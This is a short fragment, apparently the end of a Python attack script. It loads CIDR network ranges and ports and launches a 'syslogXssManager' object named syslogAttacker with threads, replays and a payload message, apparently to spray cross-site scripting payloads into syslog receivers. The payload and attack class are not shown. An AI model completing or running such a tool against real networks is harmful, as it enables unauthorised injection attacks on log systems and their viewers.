fileDescriptior: 123 | dataFromFile = fileDescriptior.read().strip( 124 | 125 | 126 | ) 127 | cidrNetworkList = cidrNetworkList.union(set(dataFromFile.splitlines())) 128 | cidrNetworkList = cidrNetworkList.union(set(args)) 129 | syslogAttacker = syslogXssManager(cidrNetworkList, portList=("%s" % options.port).split(","),maxProcesses=int(options.threads), replayCount=int(options.replay), payload=options.message) 130 | syslogAttacker.job() 131 | 132 | if __name__ == '__main__': 133 | main() 134 | --------------------------------------------------------------------------------